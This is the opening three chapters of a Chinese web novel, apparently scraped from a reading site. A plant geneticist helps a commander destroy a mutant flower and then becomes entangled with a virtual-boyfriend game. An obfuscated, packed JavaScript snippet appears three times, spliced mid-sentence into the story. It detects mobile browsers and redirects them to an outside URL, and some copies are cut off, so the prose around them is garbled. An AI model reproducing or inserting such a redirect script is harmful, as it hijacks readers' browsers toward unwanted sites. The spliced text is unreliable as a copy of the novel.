《和异端虚拟男友绑定后》 1. 第1章 2026/01/08by千秋楽 …… 滴——滴滴—— 武装直升机的警报声在耳边炸裂,机舱内乱作一团。 “该死,信号全乱了!!” 嘭! 唐奂听到飞行员用力砸了一下仪盘表。 舱外,血红色藤蔓爬满机身,死死缠住了直升机的起落架,死亡的恐惧在狭小的空间酝酿。 飞行员刚说完,直升机又突然下坠一大截。 “啊啊啊啊——” “又来——” “我们是不是死定了——” 嘈杂声中,唐奂眉头紧皱。 机舱摇晃到天旋地转,唐奂想抓住点什么,可超负荷的失重感让血液都涌向头部,他好像还昏过去了几秒。 就在刚才,一个飞过来的金属箱撞歪座椅扶手,严丝合缝地卡住了他的腰。 唐奂用每天泡实验室的身体象征性挣扎了两下就放弃了。 弄不动! 须臾唐奂扶了把眼镜,抬起头,“……” 正对面,是带他上了这架倒霉直升机的周副手。 “……” 周副手头朝下翻倒在另一个夹角,他的脖子扭了,对讲机和一沓纸质文件从皱了的特战服上衣掉了出来。 其中一份是唐奂的简历,只露出了前五行: 唐奂,男 27岁 承大法医学硕士 同校生物系分子遗传学方向专攻,植物基因学博士(Ph.D.) 现任:潼港植物研究所研究员 …… …… 唐奂在的这片区域叫“第七生态圈”。 一个月前,几个游客死在这里,警方赶到现场时看到了枯萎像树皮的尸体,血液几乎被抽干。 后来,发现新型植物病毒的消息传遍了辖区。 有人一封邮件发去了总部,说这是“变异植物袭击人”,没多久,总部就派来了特战队。 从那以后,辖区的调查就没停过。 今天的秘密任务,是采集一朵异形花的数据,它的代号、蔷薇。 直升机刚进入指定区域,就遭到了不明原因的信号干扰。 短短的几分钟内,舱内叫混乱至极,座舱摇晃,有人被摔在地上,有人被甩飞,警报灯闪个不停。 唐奂今天的任务是协助采集“蔷薇”的数据。 被叫到前线执行任务,还是第一次。 第一次,就遇到了灭顶之灾。 肋骨挤压的剧痛传来,唐奂吐了口气,意识清醒了些。 “唐博士,您、您没事吧!” 周副手踉踉跄跄跑过来:“您忍着点儿,我这就救您出来!” “还管他干什么?” 队员在叫嚷,有人看了唐奂一眼,“你不是专家吗?我们该怎么办?” 侦察兵:“行了,一会儿跳伞还得带着他,省点力气吧!” “我就说带个研究员不吉利!”通讯兵掩面骂道。 “下面那是植物?还‘蔷薇’?听着挺无害的,谁起的代号?!” 唐奂:“好像哪里不太对。” “……?” 猝不及防的回话,队员们都看了过来。 周副手用九牛二虎之力掰扶手,而唐奂在专注地观察机窗上的藤蔓。 通讯兵咽了咽口水:“你发现了什么?” 短暂沉默。 众人屏息凝神,认真倾听。 “……这不是蔷薇。”隔着玻璃,唐奂看着它喃喃,“更像是乌金耀辉一类的牡丹——” “靠!”“我还以为你想说什么!”“拜托……!!” 唐奂充耳不闻。 “你什么态度啊!”狭小的空间炸了锅,有人撸起袖子:“都这种时候了你管它是什么?!”“就是!” “——都给我闭嘴!” 冷不丁的,不耐烦的命令在舱内响起,所有人原地一个激灵。 是生物安全署指挥官、黎准的声音。 “………………” 前所未有的安静吞没空气,唐奂早就在看地上的对讲机,那是周副手掉的。 发出声音的正是它。 静止三秒,有人爆发:“来救我们的特战队到了??” …… …… “就是这里了,指挥官!” 此时,另一架直升机盘旋在地气潮湿的第七生态圈。 森林上空笼罩厚重的红光,透过挡风玻璃,特战队终于看到了被俘获的那架直升机。 无人机传回录像,血红藤蔓把直升机缠得密不透风,像一只坚不可摧的大手牢牢控制着猎物。 “准备发射热射弹!”一个队长命令道。 “是!” 四发热射弹落下,烟团照亮夜空,灰尘散去,“蔷薇”毫发无伤。 黎准:“周副手?” 对讲机里,周副手尾音颤抖:“在我死之前,我要表达对我区的忠诚,您的提携之恩我喝了孟婆汤也不敢忘!我还要勉励后辈——” “不着急勉励,你先把对讲机给唐博士!” 小命危在旦夕的周副手一听到命令像通了电似的,一把递过通讯器。 唐奂:“……” “唐博士。” 黎准慢条斯理调整护腕,一身黑色制服妥帖地包裹着强劲的身形,眉眼凌厉:“你来说,我们要怎么对付它?” “啊,指挥官,蔷薇的资料还……” 周副手正要掏,一只手已经伸进他的上衣,精准拿走了那份文件。 周副手:“唐博士,你看这个……” 唐奂:“嘘。” 机翼嗡嗡作响,唐奂清秀的侧脸被灯光照亮,一目十行翻着文件。 资料显示:它白天还是金色花苞,傍晚7点长出血色花冠,核心开始释放强烈生物信号。 唐奂接到电话的时候,它才4米。 唐奂说:“它的生长周期快,细胞活性强,夜里开花,那么它可能不喜光照。” “热压弹无效,说明它暴露的部分并不害怕高温。” 队员们蹙眉,越听越糊涂。 周副手:“所以呢?” “所以它的弱点是花蕊,对吗。” 开口的是黎准,手里翻完的资料丢给一个队长,“它的花蕊怕光或怕热,所以白天不开花。” “您说得很对。”唐奂说,“好在它现在开花了,花蕊暴露在外面。我们要有个靠谱的人下去一趟近距离攻击它。机会难得,决不能给它变回花苞的机会,不然我们就死定了。” “我觉得,您就是最合适的人选——不过您最多只有3成胜算。” 语毕,唐奂把对讲机拿近:“敢吗。” “卧槽?”“你tm是喝多了上来的吧!”“和总部的人这样说话??” 安控队的血差点冲出天灵盖,他们正常的语言功能丧失了,只能眼看着唐奂挑衅总部派来的长官。 而此时,对面的直升机上。 “开舱!” 机舱闸门轰然开启。 夜风咆哮着灌入,气流卷起狂暴的气压,队员们纷纷后退。 黎准扣紧伞带,步伐稳如磐石。 身后的队员紧张:“指挥官,还是等任区长的支援吧,太危险了!” “准备协助他们降落!” 黎准猛然一跃,黑色的身影在空气中划出锐利弧线。 三架小型无人机跟着消失在了云里。 此刻已是夜里,生态圈漆黑一片,温度骤降。黎准一落地,无人机上的闪光灯正好刺激到了它,蔷薇陡然喷出粘液。 砰!唐奂所在的直升机舱壁凹陷,扭曲的金属边缘爆出裂口,夜风疯狂灌入。 唐奂瞳孔一缩,几根藤蔓冲着他伸了进来—— 周副手:“唐博士小心!” 嘭! 一朵花苞绚丽地绽开在了唐奂面前。 唐奂:“……” 众人:“???” 地面上,黎准毫不犹豫丢出了热燃光弹。一轮进攻结束,黎准跳进侦察车,迷雾中蔷薇紧随其后,把那辆车举了起来。 “怎么回事?”“下面出事了??” 周副手也受不了了,一把扯住唐奂的衣领,红着眼怒吼:“都怪你,你出的什么主意啊,你安的什么心啊!!” “我告诉过他胜算不高了。”唐奂任他扯着,扶了把歪掉的眼镜,“另外,这里那么多人,只有您没有立场对我的主意指指点点。” 周副手一愣,“?” “虽然您的职级不高……”唐奂扫了眼他的肩章,“可第七生态圈没人愿来,黎准要是死了,总部一定会破格提拔您来接替他,您的仕途将会前所未有的光明。” “……”周副手嘴角抽搐。 安控队集体挑眉,现场飘起了一股阴谋论的味道。 “放屁!!”周副手嘶吼道,“我从没想过那些,他是我兄弟!!” “就是!”一个中年队员恶狠狠指着唐奂,“你最好祈祷指挥官没事,那是总部派来的人,他要是死了,我们的责任就大了!” 唐奂指着舱门:“那你下去救人?” 中年队员:“……” “你们别吵了,快来看啊!” 飞行员激动地叫。 监控中,黎准一计肘击打碎车玻璃,不足5米的距离,“蔷薇”猛然靠近。落地的瞬间,黎准扛起一架喷.射.器,调整炮.筒。 赤光闪过,加码到最高档的火力正面对着它的花蕊喷薄而出。 “蔷薇“浑身骤然一缩,仰面倒去。 “成功了?!” 机舱内的队员们相互拥抱,喜极而泣。 “唐博士,多亏了你!”他们说,“要不是你出的主意,我们今天就死在这里了!”“刚才是我们说话太不客气了,你不要介意!” 没有回音。 众人:“…………” 唐奂面前,一根花枝还在伸向他,好像在用尽最后的力气做点什么。 “……” 唐奂眯起眼。 然而它的体能到了尽头,还是缩了回去。 据此150米的地面上,“蔷薇”轰然倒地,重重摔进了大火里。 黎准把炮筒一丢,拉过对讲机:“飞行员准备降落!” 机舱中再次爆发欢呼,大家着手准备。 手忙脚乱中…… 叮—— 温暖治愈的铃声传来。 【——「旅行男友」——陪你走遍世界,每一刻都有他的温柔相伴~~~】 过分不应景的AI磁性男声响起,所有人愣在当场。 唐奂脸色一僵,下意识捂住口袋里的手机。 不对啊。 不是已经删除了么。 缄默又过了三秒,一个侦察兵满脸通红地掏出手机关掉了软件。 “不、不好意思啊……!” 安控队执行高压任务,辖区也不反对他们安装解压的小游戏,方才东倒西歪的,这是误触了。 “游戏吗?”“等等,这不是‘旅行男友’的背景音乐吗??” 侦查兵呛声说:“我就是好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111645|195873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇而已——!!” “好奇?”“可这不是给女人玩的??” 争论间,唐奂不动声色放下捂手机的手,眼神也恢复了冷淡。 周副手迎面走来,张开双臂:“唐博士啊,我对不住你啊……” 话还没说完,唐奂背起伞包,安控队员们一路让行,唐奂径直走到舱门,按下了按钮。 “唐博士?” 电光火石之间,唐奂已经纵身一跃跳下去了。 “我靠?”不等降落直接跳? 这下子他们也坐不住了,一个个面红耳赤,撸起袖子跟着往下跳。 飞行员还在着手下降,等反应过来,直升机上只剩自己和愣在原地的周副手了。 “都干啥呢?” 飞行员怒声道,“降落伞不花钱咋的?!” …… 夜幕下,森林间透出微弱的荧光。 异形花“蔷薇”浑身浴火,熊熊燃烧。 黎准顶着火光,直升机还在头顶呼啸,他一回神,看到十几个黑影飘飘悠悠下来了。 “……谁让你们跳伞的?”他在对讲机骂道。 唐奂只看过一遍示范录像,他试着回收伞绳,降落伞收成一团,他的身形也随之一沉。 前半段很顺利,地面近在眼前的时候,唐奂不怎么听使唤的肌肉突然紧绷,膝盖一个没稳住,跌在了地上。 看到这一幕的黎准:“?” 唐奂没有停留,一落地就直奔燃烧的“蔷薇”去了。 火光冲天,身后有人喊了声“危险”。 灼烧过的风从耳边呼啸,唐奂皮肤滚烫,一直跑过去,在灰烬里翻到了一块花茎。 掰开一看,已经失活了。 还是晚了一步。 “……” 唐奂喘着气,正要再往前走,有人一把扯住他的手臂。 “你疯了吗?” 感觉到唐奂不想走,黎准用力一扯,一路把人拉到安全的地方,撒气地一甩,唐奂一个踉跄,后退两步才站稳。 黎准打算骂这个不怕死的专家,唐奂正好抬眼看他。 唐奂的白色衬衫上漂浮着一层烬灭,胸襟随着呼吸起伏,方才用来扑火的黑色风衣还拿在手里,肩膀窄他几寸但身形挺拔,眉形偏长不浓,镜片后是一双专注深沉的漆黑眼眸。 远处“蔷薇”燃烧的光打在唐奂冷色调的脸侧,给干净的轮廓染上一层光晕。 “……” 黎准眉头一皱,方才想说的话一股脑堆在了嗓子里,只能叉起腰往旁边扫了眼,几秒后又摆正视线: “150米低空跳伞,不穿防护服往火堆里跑,徒手抓变异植株……” 唐奂:“这样干的人很少见吗?” “这样干了还活着的人很少见!!” 消防车在疯狂喷水灭火,黎准遥指后方,“麻烦你体谅一下我们挑选专家的辛劳,你交待在这里,我还得再找人……” “指挥官!” 周副手一路跑来,没看到黎准阴沉的脸色,攥住唐奂的手:“唐博士,是我不好!其实是这样的,在你之前我们也找过一个搞植物生态学的,他表现不太好,所以——” “没关系。” 唐奂顿了顿,抽回手平静说:“但我的专攻不是‘植物生态学’,是‘植物基因学’。” “生态学,研究植物与环境的相互作用,要野外调查。基因学研究植物的遗传物质、基因结构和基因表达,大部分时间都泡在实验室。” 黎准:“?” 周副手:“??” “——这两个方向差别很大,想给那个‘蔷薇’编个生态位的话,你们请他是对的。”唐奂看了眼手里的焦炭花茎:“哦对了,现在可以确定了,它确实是牡丹。” 周副手:“……” 唐奂眼皮半睁,身体的疲劳总是后知后觉,他已经累了。 “指挥官,请过来一下!任区长要和您通话!” 一个特战队长喊道。 黎准应了声,定定看了唐奂一眼,转身离去。 周副手冲他拱手一笑,麻溜也跟去了。 生态圈一片狼藉,只怕引起山火,消防车一批接这一批驶来。 唐奂擦了脸上的汗,重新戴上眼镜时,忽然看到树下的草丛里似乎有东西。 是一个背包,款式还有点眼熟。 奇怪。 这里被安全署监控多日,是谁有本事把东西放在这里的。 唐奂蹲下身,拉开拉链摸索几下,掏出了两样东西:一个装着半透明植物组织的培养皿,一支装着淡绿色液体的小型试管。 唐奂用手电筒一照,试管没有任何标记。 倒是培养皿, 背面写了几个字:昼夜花X。 昼夜花。 难道这就是“蔷薇”的本名? 唐奂又检查了一遍背包,这次他摸到了一张皱皱巴巴的纸: 【昼夜花(DaynightBloom),Lv.5,暗夜牡丹&食虫草合成。 稀有程度:较高。 外观:白昼时为封闭的金色花苞,夜晚为血红色花冠,内部有数十条微光触须。成熟后可长到4米,灵媒期易爆走,藤丝可伸长至数百米。 共生部位:肩胛骨。 功能:灵媒信物。平时很懒,能在极端环境下打通时间?空间隧道,可短暂屏蔽精神感染。 备注1:这玩意挺能唬人,但不会主动攻击人,不过它敌我不分,喜欢乱吞东西。 备注2:运气好的话,有概率能看到它白天开花(好像没什么人见过)】 2. 第2章 救援队拉起围栏,在紧急扑灭昼夜花引起的大火。 “……”唐奂蹙眉。 他拿出周副手给的报告,上面显示,它没有攻击人的记录。 正因如此,辖区才选了它来采集数据。 那么,它的攻击行为,是因为正好进入了灵媒期吗。 这么说来它的异常行为就能解释了。 可灵媒期是什么…… 等唐奂起身,一阵冷悠悠的风吹来,他的视线不受控制似的向那处望去,眼底浮现一抹诧异。 古树下,一道漆黑的裂缝闪了一下,消失了。 一瞬间唐奂以为看错了,再看过去时,已经什么都没有了。 “有什么发现吗。” 黎准的声音打断了思绪,唐奂回过身,退后半步,“找到了些东西,不过还没有头绪。另外……” “什么。”黎准看他。 唐奂一顿,说:“我觉得它其实不想伤害我们。” 周副手眉毛一挑,“您当时怎么不说?” 害我们大伙虚惊一场。 “……” 唐奂说:“它完全可以直接把我们拖到地面,但它拖拽我们的速度不快,也没有袭击舱内的人。” 就好像是怕他们会受伤一样。 后续的救援队风驰电掣驶来,武装车咔一开门,跳下数十个特战队员,他们跑过时,远远向黎准行礼。 黎准冲他们一点头,正回视线,抱起手臂看唐奂,“如果不是为了袭击你们,你认为它想干什么?” 唐奂的眼前浮现了藤蔓伸向他的那一幕,慢慢靠近,又在最后不得不离场。 这么想着,唐奂眯起眼。 “唐博士?”周副手招了招手。 唐奂回过神,“我不知道。不过今天也不是全无收获,我需要点时间整理,等有结果了,会通过研究所向你们——” 黎准一招手。 “唐博士。”周副手心领神会,递来一张名片,“您不必通过研究所,请直接联系我就好。” 黎准:“不早了,好好送唐博士回去。” “是!” 黎准稍微一顿,又叫住唐奂:“我还是要提醒您一句。按照区里的规定,关于今天发生的事,请您务必保密。” “明白。”唐奂说。 “您请。” 周副手引路,等走远了些,对唐奂吐槽:“真是的,那个通讯兵还敢说带着您不吉利,太过分了。您别难过,是您救了我们,您真的非常吉利!” 唐奂停下脚步,周副手回头,却见远处的滚滚大火,唐奂隽秀的轮廓清晰异常。 “请您不要为难那位通讯兵。” 唐奂的镜片反光,“……说不定,他说的是真的呢?” 周副手一怔,愣在原地。 嘟嘟—— 这时负责送唐奂的车开过来了,后车门开启,唐奂在车门口对周副手淡淡一笑,转身钻进了车里。 …… 周副手送完唐奂一路小跑返回现场。 所幸现场的火势控制住了,周副手正要上车,车里伸出一只手在他脑袋上敲了一下。 “您干嘛?”他捂着头。 黎准手肘压在车门上,探出头慢悠悠说:“以后办事的时候,先看看人家的背景?” 说这话时黎准手里正拿着一份内部系统打印的报告。 周副手一看上面的警方标识,“唐博士有案底?” “算有。” “啊?可他看起来……” 是个良民。 “他报过警,13年前的那个5月。”黎准翻了一页,喃喃一句,“这可是个不得了的日子。” “啊,你是说——” “不过没立案。那时候他也才14岁吧,记录上写他神情恍惚,说父母的车祸不是意外,说他看丢了一个男孩子,说阳台的盆栽变成了怪物……” “这算啥背景?”周副手坐进车里合上门。 黎准:“他的履历。” 趁黎准拉安全带,周副手把唐奂的履历又翻了出来:“我记得他硕士是法医学的。这成分挺复杂的啊,不就是半路转行的植物学博士么?” 黎准:“再往下看,最后一页备注那里。” 周副手连续往后翻,看到黎准说的地方,登时到抽一口气。 “是他?!” 这可不得了。 “他、他是给总部发邮件的那个——”周副手直接语塞。 “没错。”黎准靠向座椅,把履历翻回第一页,拇指擦过唐奂那张标志的两寸证件照,“我们被派到潼港,就是因为他。” 周副手屏息,又看了备注栏。 只见那里写着两行乍一看不起眼的字: 【唐奂: >“首个发现第七生态圈存在的研究者” >“异形植物伤人假说的提出者”】 ———— 一周后。 潼港植物研究所。 实验室的空气中散发着淡淡的消毒水味,阳光透过百叶窗洒在铁桌台上,温度适宜,但总有股时间静止的冰冷感。 “唐哥,早餐吃了没?” 林今比唐奂小两岁,和研究所签了三年契约,给唐奂当临时助手。他洗完杯子回来,把一包牛奶倒在里面,推了过去,“喝点?” 坐在工位的那人眼眸漆黑,目光总是冷淡克制,身形偏瘦甚至有些单薄,但腰线收得紧,即便坐着,背部线条也挺直标致。 唐奂。 他正在翻一本杂志。 《植物基因学前沿》第14卷。 “我一会儿喝。” 唐奂放下杂志,看向平板。 上面是网上疯传的一张照片,警方在树林围着什么东西。 “那东西”的模样,一个月前就传遍了。 旅客的尸体,3具。 民间一度以为是第七生态圈的灵异现象,因为照片显示尸体通体呈现令人不安的绿色,皮肤干枯如树皮,血液几乎被抽干。 唐奂手指划过平板,又翻到了几个报道。 区内保密工作做得不错,“第七生态圈暂无异常”的报道发出后,加上任区长的官方辟谣,现在评论区是一片盛世太平的祥和景象。 可是,昼夜花的调查,毫无进展。 唐奂翻回杂志,皱着眉头。 “我连续三天看到你加班了。”林今一脸无奈,但还是把杯子往唐奂手边推了推,“补充点能量,脑子转得更快!” “放这儿吧。” 唐奂指了指鼠标垫旁边的一亩三分地。 …… 博士毕业后,唐奂就应聘到了这家研究所。 活到现在的人生算不上幸福,但机遇和挑战并存。 比如,异常植物出现,冷门的植物学专业在“不方便公开研究成果的领域”有抬头的趋势了。 第七生态圈的路人接连死亡,警方调查时,是他第一个提交了植物变异报告。 一经提交,他的直属上司、研究所的赵所长在早会上表示过于荒诞。 直到黎准从总部空降潼港,也不顾区长的面子,武装无人机直接进驻那片区域,唐奂的猜测才得以验证。 所以唐奂那天才敢挑衅黎准。 虽然没见过面,唐奂看黎准在总部不怕得罪人,也知道这人是有点本事在身上的。 至于唐奂入职的这家研究所,近些年也不太平。 一年前,所长信任的一个研究员失踪了。 不过研究事业不会停滞,唐奂经过三轮面试得到了他留下的位置。 林今拿着一支培养皿,有一塔没一搭说话:“我来的时候,外面的人可说你呢。周姐求你帮忙看一会儿孩子,你拒绝了?” “……” 林今等着看唐奂的反应,他怀疑唐奂二十七了还不找对象可能是不喜欢小孩子。 唐奂仿佛没听到,林今早习惯了,也不再自讨没趣:“好好,那我去收拾一下刚送到的杂志——” 唐奂:“我不会。” 林今差点没反应过来,慌忙稳住手里的试管:“看个孩子而已,又不是研究生化武器。” “……” 唐奂拿过打印机里昼夜花的报告,反光的镜片遮住了微微用力的眼角,很快,他又开始翻动纸张,半自言自语道:“……我怕会看丢。” 林今一愣:“什么?” “没什么。” “哎,你刚才明明说——” “牛奶!”唐奂终于想起了那杯快凉透的小可怜,当着林今的面喝了一口,“谢谢你,果然补脑。” 林今:“…………” —— 潼港植物研究所,路过的人不会多看它一眼,放在平时,也没有人会关注它每天花费巨额税金到底在干什么。 起初,研究员们刚得知蓝星出现变异植物,加上还要签保密协议,着实焦虑了一段时间。不过时间一长,也就没那么内耗了。 人的身体很奇妙,再高压的状态,也没法绷紧太久。 午休时间。 唐奂端着咖啡杯从休息区路过。 “听说小吕的男友前天给她发了阿尔卑斯山呢,穿着登山服的那种!” 几个女研究员坐在一起,其中一个笑着说,“哎,王姐的男友去沙漠探险了,差点被路过的其他家男友绑架哈哈哈哈。” “真好的游戏,让我寂寞的生活从此五颜六色,哈哈。” “……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111646|195873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 脚步一停,唐奂想起来了,他在直升机上还听到了界面声。 《旅行男友》。 游戏的模式和爆火过的旅行青蛙相似,只不过这次旅行的不是蛙,而是玩家亲手捏出来的虚拟男友。 设定本身也很简单,放置类游戏,适合心态如同养老般平和的玩家,只要申请完账号,就可以不定期收到虚拟男友传回的照片。 有纯风景的,有怼脸的,有秀腹肌的……当然,再往下就不行了。 另外,为了追求逼真的恋爱体验,游戏还开设了文字,图片,语音消息,语音通话甚至是视频通话的功能。据说,亲密度越高,虚拟男友发过来的内容也会不同,偶尔还会出现在其他玩家的虚拟男友发来的照片背景里。 但这个游戏比旅行青蛙暗藏玄机。 它被放养的不是青蛙是男朋友,男朋友是自己亲手捏出来的,一连几天没消息,难免就让玩家抓心挠肝。 游戏刚一发行,小蓝书的分享就刷爆了。还有一些“男友”特别给力的钻石玩家做起了游戏攻略博主,教大伙怎么引导虚拟男友说出动人的情话。 “不是,你们都那么顺利吗?” 旁边的研究员搬了个凳子过来,抱怨:“还说呢,我那个男友直接失踪了!我知道这是那啥……放置游戏?可这都好几个月了,到底是我放置他还是他放置我?” “啊?不应该吧!bug了?” “哈哈哈……” “要么你卸了再申请一个账号吧!” “为什么都是旅行男友啊?”林今在一堆女孩子中强行冒头,“什么时候出旅行女友啊!” 顺便看了眼站在门外一动不动的唐奂,“是吧,唐哥!” 唐奂咖啡杯上的手指握紧了一下:“我又不玩。” 林今笑了声,“早知道你会这么说,你也不可能对这种游戏感兴趣吧。” “昼夜花的第二份数据要出来了。”唐奂面不改色,“你吃快点,报告打印出来后我要整理。” “得嘞!”林今埋头疯狂开始炫盒饭了。 离开休息区后,唐奂穿过走廊,快步回到研究室反锁上门,看了一眼自己的手机屏幕—— 《旅行男友》下载完成。 一个月前他就下载过一次,当时刚申请完账号就碰上了第七生态圈出现异常,后来久了不碰就给删了。 直到现在,他还没到捏脸那一步。 唐奂收起手机,他打算找个不忙的日子尝试一下。 …… 下午,唐奂去项目组长的研究室拿数据,顺便交接昼夜花,才到走廊,就听到里面的研究员在说话。 “这还挺可爱的,也不像病毒啊……” 它已经长成了一团小小的绿色组织,像个活泼的水草球。 昼夜花蠕动的速度非常慢,白天几乎不动,夜晚才会开始挪动身体。也难怪辖区安控队白天看到的花骨朵,刚到晚上它就开了,这东西就是夜行生物。 “它还能叫植物吗。”项目组长撑着下巴看它。 林今来串门,站在一堆人里若有所思:“那我们算不算发现了新物种?你们说明年唐哥会不会得诺贝尔生理学奖啊?” 和乐融融的气氛中,淡绿色的组织继续蠕动,然而,就在唐奂出现在门口的瞬间,整个玻璃容器猛然震了一下。 林今吓了一跳:“它、它动了?!” 组织表面泛起淡淡的荧光,触须幽然张开,项目组完全没反应过来,都愣在原地。 啪嗒啪嗒,诡异的黏液渗出表面,隐隐透着暗红色。 它的细丝直立起来,居高临下吐出信子,似乎想给所有人来个一口闷。 突然,它向前一伸。 唐奂一个箭步冲上来,白光闪过,啪!一个烧杯盖住了它的头。 咔哒咔哒咔嗒。 它被卡在玻璃罩里,挣扎不止。 项目组这边还惊魂未定,唐奂死死按着它,他背对着众人,没有人看到他脸上的阴影:“你在找我吗宝贝?老实点,我带你去我研究室。” 林今:“唐哥你说啥?” 唐奂已经大步离开,连同烧杯把它往一个更大的培养舱一丢,噗通!那组织一个收缩往上猛冲,哐当一声撞在了扣过来的盖子上。 那块组织老实了,认命似的在里面游荡起来。 不过它时不时碰撞玻璃壁,想接近唐奂。 “小唐你……”项目组长竖起大拇指,“这玩意你都敢上手??” 唐奂目光冷淡,站在原地看着它游来游去。 “备注1。” 在众人不明所以的注视中,唐奂缓缓说道:“……这玩意挺能唬人,但不会主动攻击人,不过它敌我不分,喜欢乱吞东西。” 3. 第 3 章 异次元,生洲。 悬于半空的黑色石制高台之上,数百人围观着即将震动世界的一幕。 “处刑能顺利吗?不会有什么变故吧?”“我看净化会这次很有把握!” “昼夜花呢?没人去抓吗?” “抓了有什么用,它只对宿主忠诚。” “……可我听说,昼夜花被绿火旗的人消灭了。” 最后一句话落地,人群中哗然,纷纷投来目光。 有人惊愕:“昼夜花死了?” “死得好!”又有人偷瞄了刑架上的人一眼,压低声音,“虽说它不袭击人,但我真是讨厌神出鬼没的灵媒系植株,让人担惊受怕!” 窃窃私语声此起彼伏…… 看台上站满了衣着华贵的观众,他们三两个在说话,声音不大,但这座大厅空旷至极,连城一片的人声听起来嗡嗡作响。 期间,不时有人望向等待处刑的“犯人”。 刑架之上,藤蔓缠绕的年轻男人低着头,被囚禁三个月,额前少量的碎发将将遮住了眼,带着几分凌乱感。 共生台气氛肃穆,他下方的几米处,绿褐色的液体池正不停冒出气泡。 这时,又有人问:“那他身上其他的异植呢?都清除了?” “怎么可能,谁敢下手?” 旁边的人皱着眉头,“这次为了抓他,不知道死了多少人。” “可我听说,人能抓住是因为‘共主’醒了。” “从哪儿听说的?” “啊呀啊呀,一定要杀他吗。”贵妇用扇子抵着下巴,抬头望去,眼神迷离,“和30多个异植共生的人,我看啊,咱么生洲以后也不会再有了。可惜,可惜。” 子爵笑道:“你真的是因为这个觉得可惜吗,哈哈哈……” “滚!” 贵妇红着脸用扇子敲了他一下。 “——陆池修。” 大法官威严的声音将众人的意识召回,他看着年轻男人,肃然道: “你杀死自己的老师白峤,在场的人多有见证,你还有什么可以说的吗?” “……” 陆池修抬起头。 人群里的私语声变成了吸气声。 说是“罪人”,陆池修的相貌又太有误导性——即便身体已与数不清的异化植物融合,第一次见到他的人,看到那光泽如金属的冷棕色头发和层次深邃的眼眸,也无法将他与那个残忍的“顶级屠戮者”联系起来。 陆池修抬眼,苍白的皮肤之下,藤丝绕身盘绕,成了腹肌线上美到诡异的装饰。 现场的观众忘了呼吸,他们快把大法官即将宣判的事也忘了。 贵妇正给一个小巧的观演望远镜慢慢对焦,伸出舌头舔了一下红艳的唇角。 屏蔽舱之内,四大组织的代表列席。 人群骚动,大法官看向了一位皮肤冷白、身材瘦长的男人。 众人的目光随着大法官过去,登时整个大厅鸦雀无声。 “……执行官。”大法官两只手交握,对着高处谄媚笑道,“行刑前,您还有什么指示吗?” 法官口中的男人,正是净化会的执行官赫尔曼。 赫尔曼一袭高贵的藤纹丝绸衣袍,淡金卷发落在一边肩侧,他正一只手轻搭膝上,湖蓝色的眼眸有意无意看向陆池修。 片刻后,赫尔曼说:“您是大法官,怎么做,该由您说了算。” “是是是。” 大法官连连点头,趁机擦了把汗。 这时,赫尔曼身旁,一个金发的年轻人站了起来,赫迪安。 “陆池修,你落到今天的下场是死有余辜。”赫迪安说,“从前你得意的时候,想过会有全身植株都被封印的一天吗?” 话音一落,众人都在吃惊。 “什么?” “封、封印了?” “谁干的?” “不是,”有人的舌头打结,“到、到底是谁能办到? 这回,那个提到过“共主”的人说出来的话,总算有几分可信了。 “肃静,肃静!” 大法官重重敲下法槌:“陆池修,你认罪吗?!” 审判的过程人心浮动,没有了那些植株,陆池修今天是死定了! 少数知情人始终一脸淡然——不说封印的事,陆池修被捕时已经没有求生欲了,这些天来也是滴水未进。 现场响起陆池修轻飘的声音:“认罪。” “好!”大法官差点跳起来,清了清嗓子,“那今天就是送你下地狱的日子,好好下去忏悔吧!” 说完大法官给赫迪安递去一个眼神。 赫迪安清脆的两下拍手,营养池里赫然升起一棵狰狞的榕树。 现场的人一声惊呼,大法官义正词严:“陆池修,缚生榕会彻底净化你的身体,我代表生洲最高法庭感谢你成为了足够好的示范。” “再强大的共生者,也不可能逃过联合会的制裁!” 缚生榕的根须从水底伸展,触手般攀附在了营养液池的玻璃壁,无数根须向上攀爬,它像蟒蛇一样弯曲起来,在陆池修面前停下。 陆池修侧过脸,和头部化作锥形的它对视。 这不是一棵普通的榕树。 缚生榕,是异植中的“活体绞杀者”,它的根须能穿透血肉,把猎物化作树液。 民间传说它出没在危险地带,又没有人真的见到过。看来今天支付的数百万非常值得,来了的人都算是涨了见识了。 可陆池修只是闭上眼睛,面上没有半点起伏。 缚生榕辗转深入,刺入脊椎。 一瞬间,因为疼痛,陆池修的指尖收紧,攥住了缠在掌心的藤蔓。 ——就在同一时间。 哐啷! 唐奂的实验室里。 盛装昼夜花组织的容器毫无征兆地晃动了一下! 容器击打桌台发出嘎达声,唐奂后退半步,却没有离开。 一股不安的气息蔓延在空气中。 唐奂躲避还算及时,但那块半透明的组织突然放射出淡绿色液体,玻璃壁瞬间就炸了。 那股力掼过来,一道光照向桌面,他的手机摔了出去。 随即唐奂抬手一挡,这次他晚了一步。 等放下手臂,粘稠的不明液体顺着唐奂高挺的鼻梁滑落,还有一些顺着眼镜涓涓流下,镜片染上了一抹诡谲的荧光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 